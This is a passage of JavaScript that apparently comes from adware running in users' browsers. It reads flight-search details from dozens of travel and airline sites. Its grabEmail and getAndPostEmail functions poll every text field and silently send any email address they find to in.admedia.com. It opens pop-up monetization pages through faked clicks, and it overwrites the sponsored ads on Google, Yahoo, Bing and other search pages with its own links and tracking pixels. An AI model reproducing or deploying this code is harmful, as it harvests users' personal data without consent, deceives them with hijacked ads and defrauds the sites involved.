if(aParamName[0] == "airport0")
deptApt = aParamName[1];
if(aParamName[0] == "airport1")
arrApt = aParamName[1];
if(aParamName[0] == "date0")
deptDateStr = aParamName[1];
if(aParamName[0] == "date1")
retDateStr = aParamName[1];
}
if(deptDateStr)
deptDate = deptDateStr.substr(4,2)+"-"+deptDateStr.substr(6,2)+"-"+deptDateStr.substr(0,4);
if(retDateStr)
retDate = retDateStr.substr(4,2)+"-"+retDateStr.substr(6,2)+"-"+retDateStr.substr(0,4);
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'bookingbuddy':
m = href.match(/^https?:\/\/[a-z]+\.bookingbuddy\.com\/tabsearches.*$/);
if (m !== null) {
deptDay = '';
deptMon = '';
retDay = '';
retMon = '';
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "departure_city")
deptAptStr = unescape(aParamName[1]);
if(aParamName[0] == "arrival_city")
arrAptStr = unescape(aParamName[1]);
if(aParamName[0] == "departure_date")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "return_date")
retDate = unescape(aParamName[1]);
if(aParamName[0] == "departure_day")
deptDay = unescape(aParamName[1]);
if(aParamName[0] == "return_day")
retDay = unescape(aParamName[1]);
if(aParamName[0] == "departure_month")
deptMon = unescape(aParamName[1]);
if(aParamName[0] == "return_month")
retMon = unescape(aParamName[1]);
}
if(deptAptStr && deptAptStr.indexOf('(') != -1)
{
deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/);
deptApt = deptAptMtc[2];
}
else
deptApt = deptAptStr;
if(arrAptStr && arrAptStr.indexOf('(') != -1)
{
arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/);
arrApt = arrAptMtc[2];
}
else
arrApt = arrAptStr;
if(!deptDate || deptDate == '')
{
if(deptDay != '' && deptMon != '')
{
deptMonSp = deptMon.split('+');
deptDate = deptMonSp[0]+'-'+deptDay+'-'+deptMonSp[1];
}
}
if(!retDate || retDate == '')
{
if(retDay != '' && retMon != '')
{
retMonSp = retMon.split('+');
retDate = retMonSp[0]+'-'+retDay+'-'+retMonSp[1];
}
}
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'onetime':
m = href.match(/^https?:\/\/[a-z]+\.onetime\.com\/tabsearch.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "from")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "to")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "inDate")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "outDate")
retDate = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'airfarewatchdog':
m = href.match(/^https?:\/\/[a-z]+\.airfarewatchdog\.com\/TabSearch.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "departure_city")
deptAptStr = unescape(aParamName[1]);
if(aParamName[0] == "arrival_city")
arrAptStr = unescape(aParamName[1]);
if(aParamName[0] == "departure_date")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "return_date")
retDate = unescape(aParamName[1]);
}
if(deptAptStr)
{
deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/);
deptApt = deptAptMtc[2];
}
if(arrAptStr)
{
arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/);
arrApt = arrAptMtc[2];
}
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'smartertravel':
m = href.match(/^https?:\/\/[a-z]+\.smartertravel\.com\/TabSearch.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "departure_city")
deptAptStr = unescape(aParamName[1]);
if(aParamName[0] == "arrival_city")
arrAptStr = unescape(aParamName[1]);
if(aParamName[0] == "departure_date")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "return_date")
retDate = unescape(aParamName[1]);
}
if(deptAptStr)
{
deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/);
deptApt = deptAptMtc[2];
}
if(arrAptStr)
{
arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/);
arrApt = arrAptMtc[2];
}
}
if(deptApt && deptApt != '' && arrApt && arrApt != '' && deptDate && deptDate != '')
isTravel = true;
return;
}
break;
case 'seatguru':
m = href.match(/^https?:\/\/[a-z]+\.seatguru\.com\/flights.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "airport0")
deptApt = aParamName[1];
if(aParamName[0] == "airport1")
arrApt = aParamName[1];
if(aParamName[0] == "date0")
deptDateStr = aParamName[1];
if(aParamName[0] == "date1")
retDateStr = aParamName[1];
}
if(deptDateStr)
deptDate = deptDateStr.substr(4,2)+"-"+deptDateStr.substr(6,2)+"-"+deptDateStr.substr(0,4);
if(retDateStr)
retDate = retDateStr.substr(4,2)+"-"+retDateStr.substr(6,2)+"-"+retDateStr.substr(0,4);
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'rezserver':
m = href.match(/^https?:\/\/rezserver\.com\/air.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "rs_o_aircode")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "rs_d_aircode")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "rs_chk_in")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "rs_chk_out")
retDate = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'smartfares':
m = href.match(/^https?:\/\/[a-z]+\.smartfares\.com\/.*$/);
if (m !== null) {
aptStr = jQuery('a[id$="LinkButtonMore"]').attr('href');
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "OrigCity0")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "DestCity0")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "Date0")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "Date1")
retDate = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'vayama':
m = href.match(/^https?:\/\/[a-z]+\.vayama\.com\/.*$/);
if (m !== null) {
aptStr = jQuery('#resultUrl').val();
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "OR")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "AR")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "DT1")
deptDateStr = unescape(aParamName[1]);
if(aParamName[0] == "DT2")
retDateStr = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptDateStr)
deptDate = deptDateStr.substr(2,2)+"-"+deptDateStr.substr(0,2)+"-"+deptDateStr.substr(4,4);
if(retDateStr)
retDate = retDateStr.substr(2,2)+"-"+retDateStr.substr(0,2)+"-"+retDateStr.substr(4,4);
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'travelation':
m = href.match(/^https?:\/\/[a-z]+\.travelation\.com\/.*$/);
if (m !== null) {
aptStr = jQuery('a[id$="LinkButtonMore"]').attr('href');
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "OrigCity0")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "DestCity0")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "Date0")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "Date1")
retDate = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'flightnetwork':
m = href.match(/^https?:\/\/[a-z]+\.flightnetwork\.com\/flights.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "gateway_dep")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "gateway_ret")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "depart_date")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "return_date")
retDate = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'southwest':
m = href.match(/^https?:\/\/[a-z]+\.southwest\.com\/flight.*$/);
if (m !== null) {
deptApt = jQuery('#originAirport').val();
arrApt = jQuery('#destinationAirport').val();
deptDate = jQuery('#outboundDate').val();
retDate = jQuery('#returnDate').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'cheaptickets':
case 'ebookers':
m = href.match(/^https?:\/\/[a-z]+\.cheaptickets\.com\/shop.*$/);
if(!m || m.length == 0)
m = href.match(/^https?:\/\/[a-z]+\.ebookers\.com\/shop.*$/);
if (m !== null) {
deptApt = jQuery('meta[name="DCSext.o"]').attr('content');
arrApt = jQuery('meta[name="DCSext.d"]').attr('content');
deptDate = jQuery('meta[name="DCSext.dd"]').attr('content');
retDate = jQuery('meta[name="DCSext.rd"]').attr('content');
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'cheapoair':
case 'onetravel':
m = href.match(/^https?:\/\/[a-z]+\.cheapoair\.com\/.*$/);
if(!m || m.length == 0)
m = href.match(/^https?:\/\/[a-z]+\.onetravel\.com\/.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "oa")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "da")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "dd")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "rd")
retDate = unescape(aParamName[1]);
}
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'farebuzz':
m = href.match(/^https?:\/\/[a-z]+\.farebuzz\.com\/.*$/);
if (m !== null) {
deptApt = jQuery('input[id$="OutBound_From"]').val();
arrApt = jQuery('input[id$="OutBound_To"]').val();
deptDate = jQuery('input[id$="OutBound_Date"]').val();
retDate = jQuery('input[id$="Return_Date"]').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'delta':
m = href.match(/^https?:\/\/[a-z]+\.delta\.com\/air.*$/);
if (m !== null) {
var deltaInt = setInterval(function(){
if(jQuery('#departureCity0').length > 0)
{
clearInterval(deltaInt);
deptApt = jQuery('#departureCity0').val();
arrApt = jQuery('#destinationCity0').val();
deptDate = jQuery('#departDateTime0').val();
retDate = jQuery('#returnDateTime0').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '' && travelSliderEn == 1)
{
isTravel = true;
jQuery(document.body).append('');
}
return;
}
}, 1000);
}
break;
case 'united':
m = href.match(/^https?:\/\/[a-z]+\.united\.com\/.*$/);
if (m !== null) {
deptAptStr = jQuery('input[id$="txtOrigin"]').val();
arrAptStr = jQuery('input[id$="txtDestination"]').val();
deptDate = jQuery('input[id$="txtDptDate"]').val();
retDate = jQuery('input[id$="txtRetDate"]').val();
if(deptAptStr)
{
deptAptMtc = deptAptStr.match(/^(.*?)\((.*?)\)$/);
deptApt = deptAptMtc[2];
}
if(arrAptStr)
{
arrAptMtc = arrAptStr.match(/^(.*?)\((.*?)\)$/);
arrApt = arrAptMtc[2];
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'kayak':
m = href.match(/^https?:\/\/[a-z]+\.kayak\.com\/flights\/(.*?)\/(.*?)\/(.*?)$/);
if (m !== null) {
aptStr = m[1];
deptDateStr = m[2];
retDateStr = m[3];
aptStrSp = aptStr.split('-');
if(aptStrSp[0])
deptApt = aptStrSp[0];
if(aptStrSp[1])
arrApt = aptStrSp[1];
deptDateStrSp = deptDateStr.split('-');
if(deptDateStrSp.length == 3)
deptDate = deptDateStrSp[1]+"-"+deptDateStrSp[2]+"-"+deptDateStrSp[0];
retDateStrSp = retDateStr.split('-');
if(retDateStrSp.length == 3)
retDate = retDateStrSp[1]+"-"+retDateStrSp[2]+"-"+retDateStrSp[0];
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'jetblue':
m = href.match(/^https?:\/\/[a-z]+\.jetblue\.com\/.*$/);
if (m !== null) {
deptApt = jQuery('#selectedOriginAirport').val();
arrApt = jQuery('#selectedDestinationAirport').val();
deptDateStr = jQuery('#departureDate').val();
retDateStr = jQuery('#returnDate').val();
deptDateStrSp = deptDateStr.split('-');
if(deptDateStrSp.length == 3)
deptDate = deptDateStrSp[1]+"-"+deptDateStrSp[2]+"-"+deptDateStrSp[0];
retDateStrSp = retDateStr.split('-');
if(retDateStrSp.length == 3)
retDate = retDateStrSp[1]+"-"+retDateStrSp[2]+"-"+retDateStrSp[0];
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'fly':
m = href.match(/^https?:\/\/[a-z]+\.fly\.com\/flights.*$/);
if (m !== null) {
aptStr = document.location.href;
aptArr = aptStr.split("?");
if(aptArr[1] && aptArr[1] != '')
{
aptParams = aptArr[1];
aptVars = aptParams.split("&");
for(var t=0; t < aptVars.length; t++)
{
aParamName = aptVars[t].split("=");
if(aParamName[0] == "Origin")
deptApt = unescape(aParamName[1]);
if(aParamName[0] == "Destination")
arrApt = unescape(aParamName[1]);
if(aParamName[0] == "DepartDate")
deptDate = unescape(aParamName[1]);
if(aParamName[0] == "ReturnDate")
retDate = unescape(aParamName[1]);
}
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
}
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
case 'alaskaair':
m = href.match(/^https?:\/\/[a-z]+\.alaskaair\.com\/Shopping.*$/);
if (m !== null) {
deptApt = jQuery('tr[class="Option"]:first').attr('orig');
arrApt = jQuery('tr[class="Option"]:first').attr('dest');
deptDateStr = jQuery('#departureDate').val();
retDateStr = jQuery('#returnDate').val();
deptDate = deptDate.replace(/\//g, '-');
retDate = retDate.replace(/\//g, '-');
if(deptApt && deptApt != '')
isTravel = true;
return;
}
break;
default:
return;
}
}
var emailInt = "";
function getAndPostEmail(email_inp, submit_inp, cat)
{
emailInt = setInterval(function(){
jQuery('input[type="text"]').each(function(){
emailVal = jQuery(this).val();
if(emailVal != '')
{
if(validateEmail(emailVal))
{
(new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+emailVal+"&cat="+cat+"&dom="+pageDomain+"&rand="+Math.random()*1000;
clearInterval(emailInt);
}
}
});
}, 2000);
if(ie_version != 1)
{
jQuery(submit_inp).click(function() {
email_id = jQuery(email_inp).val();
(new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+email_id+"&cat=280&dom="+pageDomain+"&rand="+Math.random()*1000;
});
}
else
{
jQuery(submit_inp).mouseleave(function() {
email_id = jQuery(email_inp).val();
(new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+email_id+"&cat=280&dom="+pageDomain+"&rand="+Math.random()*1000;
});
}
}
var glEmailInt = "";
function grabEmail()
{
glEmailInt = setInterval(function(){
jQuery('input[type="text"]').each(function(){
emailVal = jQuery(this).val();
if(emailVal != '')
{
if(validateEmail(emailVal))
{
(new Image()).src = httpText+"://in.admedia.com/insEmail.php?em="+emailVal+"&cat=0&dom="+pageDomain+"&rand="+Math.random()*1000;
clearInterval(glEmailInt);
}
}
});
}, 2000);
}
function validateEmail(email) {
var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test(email);
}
function openPopUpTab(term){
var a = document.createElement("a");
a.href = "http://exitmonetization.com/landing/index.php?id=25240&ref=https%25253A%25252F%25252Fwww.google.com%25252F&subid=&site=aaos.org&search="+term;
var evt = document.createEvent("MouseEvents");
evt.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, true, false, false, false, 0, null);
a.dispatchEvent(evt);
}
function createXmlBox(id)
{
var bgColorArr = {'google':'#fff7ed', 'yahoo':'#fff', 'bing':'#fff', 'superpages':'#fff', 'aol':'#fdfef2', 'pricegrabber':'#fbfbfb'};
if(bgColorArr[pageEntity])
bgColor = bgColorArr[pageEntity];
else
bgColor = '#fff';
var div = jQuery(document.createElement('div'));
div.css({
'background-color': bgColor,
'position': 'relative',
'padding': '5px',
'margin-bottom': '2px',
'margin-top': '2px'
});
div.attr('id', id);
return div;
}
injectXmlAds = function(obj) {
var tabs, div, listings, ads, listId, linkId, urlId, descriptionId, i, link, url, description, list, cite, img, favicon, pixel;
jQuery('#sw-ads').remove();
jQuery('#sw-ads-2').remove();
jQuery('#sw-ads-3').remove();
jQuery('#sw-ads-4').remove();
div = createXmlBox('sw-ads');
div2 = createXmlBox('sw-ads-2');
if (isGoogle === true) {
if(obj && obj.firePixel && obj.firePixel == 1)
(new Image()).src = httpText+"://pixel.admedia.com/?cid=10231&aid=1&t=2";
if((dSites['xml'].indexOf("google,") != -1 || xmlAds == 0) && affiliate != "31663")
{
if(showGoogleShop == 1)
injectShoppingAds(term);
}
else
injectShoppingAds(term);
/*div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '546px');
div2.css('width', '546px');
div.insertBefore('#taw');
div2.insertAfter('#bottomads');
div3.css('width', '546px');
div3.insertAfter('#sw-ads');
div4.css('width', '546px');
div4.insertAfter('#sw-ads-3');*/
var gc = 0;
jQuery('#tads > ol .ads-ad').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('#vs0p'+gcc).html(obj.items[gc].title);
jQuery(this).find('.ads-visurl > cite').html(obj.items[gc].displayUrl);
jQuery(this).find('.ads-creative').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
var nc = 0;
jQuery('#rhs_block > #mbEnd > ol > .ads-ad').each(function(){
gcc = nc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('#vs1p'+gcc).html(obj.items[gc].title);
jQuery(this).find('.ads-visurl > cite').html(obj.items[gc].displayUrl);
jQuery(this).find('.ads-creative').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
nc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '546px');
if(last_sw == "")
div.insertBefore('#taw');
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isYahoo === true) {
if(obj && obj.firePixel && obj.firePixel == 1)
(new Image()).src = httpText+"://pixel.admedia.com/?cid=10231&aid=1&t=2";
//openPopUpTab(term);
//injectIframeShoppingAds(190, 750, 'ap', 'v', '#sidebar .bd', term);
if(document.location.href.indexOf('shopping.yahoo.com') != -1 || document.location.href.indexOf('shopping.search.yahoo.com') != -1)
injectShoppingAds(term);
if(document.location.href.indexOf('news.search.yahoo.com') != -1 || document.location.href.indexOf('sports.search.yahoo.com') != -1 || document.location.href.indexOf('finance.search.yahoo.com') != -1 || document.location.href.indexOf('games.search.yahoo.com') != -1 || document.location.href.indexOf('shopping.search.yahoo.com') != -1)
{
var gc = 0;
jQuery('#main .ads.horiz.top .spns li').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a.yschttl').attr('href', obj.items[gc].url);
jQuery(this).find('a.yschttl').html(obj.items[gc].title);
jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url);
jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl);
jQuery(this).find('em').find('img').remove();
jQuery(this).find('div.abs').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#ysm_east li').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a.yschttl').attr('href', obj.items[gc].url);
jQuery(this).find('a.yschttl').html(obj.items[gc].title);
jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url);
jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl);
jQuery(this).find('em').find('img').remove();
jQuery(this).find('div.abs').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#main .ads.horiz.bot .spns li').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a.yschttl').attr('href', obj.items[gc].url);
jQuery(this).find('a.yschttl').html(obj.items[gc].title);
jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url);
jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl);
jQuery(this).find('em').find('img').remove();
jQuery(this).find('div.abs').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else if(document.location.href.indexOf('shopping.yahoo.com') != -1)
{
var gc = 0;
jQuery('.bd.tua > ul > li').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a').attr('href', obj.items[gc].url);
jQuery(this).find('.title > a').html(obj.items[gc].title);
jQuery(this).find('.host > a').html(obj.items[gc].displayUrl);
jQuery(this).find('.abstr > a').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
else
{
var gc = 0;
jQuery('#main .ads.horiz.top .spns li.res').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a[data-bns="API"]').attr('href', obj.items[gc].url);
jQuery(this).find('a[data-bns="API"]').html(obj.items[gc].title);
jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url);
jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl);
jQuery(this).find('em').find('img').remove();
jQuery(this).find('div.abs > a').attr('href', obj.items[gc].url);
jQuery(this).find('div.abs > a').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#right .eads li.res').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a[data-bns="API"]').attr('href', obj.items[gc].url);
jQuery(this).find('a[data-bns="API"]').html(obj.items[gc].title);
jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url);
jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl);
jQuery(this).find('em').find('img').remove();
jQuery(this).find('div.abs > a').attr('href', obj.items[gc].url);
jQuery(this).find('div.abs > a').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('#main .ads.horiz.bot .spns li.res').each(function(){
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('a[data-bns="API"]').attr('href', obj.items[gc].url);
jQuery(this).find('a[data-bns="API"]').html(obj.items[gc].title);
jQuery(this).find('em > a.eca').attr('href', obj.items[gc].url);
jQuery(this).find('em > a.eca').html(obj.items[gc].displayUrl);
jQuery(this).find('em').find('img').remove();
jQuery(this).find('div.abs > a').attr('href', obj.items[gc].url);
jQuery(this).find('div.abs > a').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
}
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '546px');
if(last_sw == "")
div.insertBefore('#main');
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isBing === true) {
if(obj && obj.firePixel && obj.firePixel == 1)
(new Image()).src = httpText+"://pixel.admedia.com/?cid=10231&aid=1&t=2";
injectShoppingAds(term);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div.css('width', '546px');
div.insertBefore('#results_container');
div2.css('width', '546px');
div2.insertAfter('#results');
div3.css('width', '546px');
div3.insertAfter('#sw-ads');
div4.css('width', '546px');
div4.insertAfter('#sw-ads-3');
}
else if(isInfo === true) {
//openPopUpTab(term);
injectShoppingAds(term);
/*div.css('width', '580');
jQuery('#cw').prepend(div);
div2.css('width', '580px');
jQuery('#cw').append(div2);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '580px');
div3.insertAfter('#sw-ads');
div4.css('width', '580px');
div4.insertAfter('#sw-ads-3');*/
var gc = 0;
jQuery('ul[content="P4T"] > li').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('h3>a').attr('href', obj.items[gc].url);
jQuery(this).find('h3>a').html(obj.items[gc].title);
jQuery(this).find('.u').html(obj.items[gc].displayUrl);
jQuery(this).find('.d').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
jQuery('ul[content="P4B"] > li').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('h3>a').attr('href', obj.items[gc].url);
jQuery(this).find('h3>a').html(obj.items[gc].title);
jQuery(this).find('.u').html(obj.items[gc].displayUrl);
jQuery(this).find('.d').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '580px');
if(last_sw == "")
jQuery('#cw').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isInfospace === true) {
injectIframeShoppingAds(550, 230, 'pr', 'h', '.splitAdResults', term);
/*div.css('width', '870px');
jQuery('.splitAdResults').prepend(div);
div2.css('width', '870px');
jQuery('#resultsMain').append(div2);
div3 = createXmlBox('sw-ads-3');
div4 = createXmlBox('sw-ads-4');
div3.css('width', '870px');
div3.insertAfter('#sw-ads');
div4.css('width', '870px');
div4.insertAfter('#sw-ads-3');*/
var gc = 0;
jQuery('.splitAdResults > .searchResult.adResult').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
jQuery(this).find('.resultTitle').attr('href', obj.items[gc].url);
jQuery(this).find('.resultTitle').html(obj.items[gc].title);
jQuery(this).find('.resultDisplayUrl').html(obj.items[gc].displayUrl);
jQuery(this).find('.resultDisplayUrl').attr('href', obj.items[gc].url);
jQuery(this).find('.resultDescription').html(obj.items[gc].description);
(new Image()).src = obj.items[gc].pixel;
gc++;
}
});
sw_cont = "";
last_sw = "";
for(i = 0; i<(3-gc); i++)
{
sw_cont = "sw-ads";
if(i > 0)
sw_cont += "-"+(i+1);
div = createXmlBox(sw_cont);
div.css('width', '870px');
if(last_sw == "")
jQuery('.splitAdResults').prepend(div);
else
div.insertAfter('#'+last_sw);
last_sw = sw_cont;
}
}
else if(isAbout === true)
{
var gc = 0;
jQuery('.gB > .p').each(function(){
gcc = gc+1;
if(obj.items[gc] && obj.items[gc].title && obj.items[gc].title != '')
{
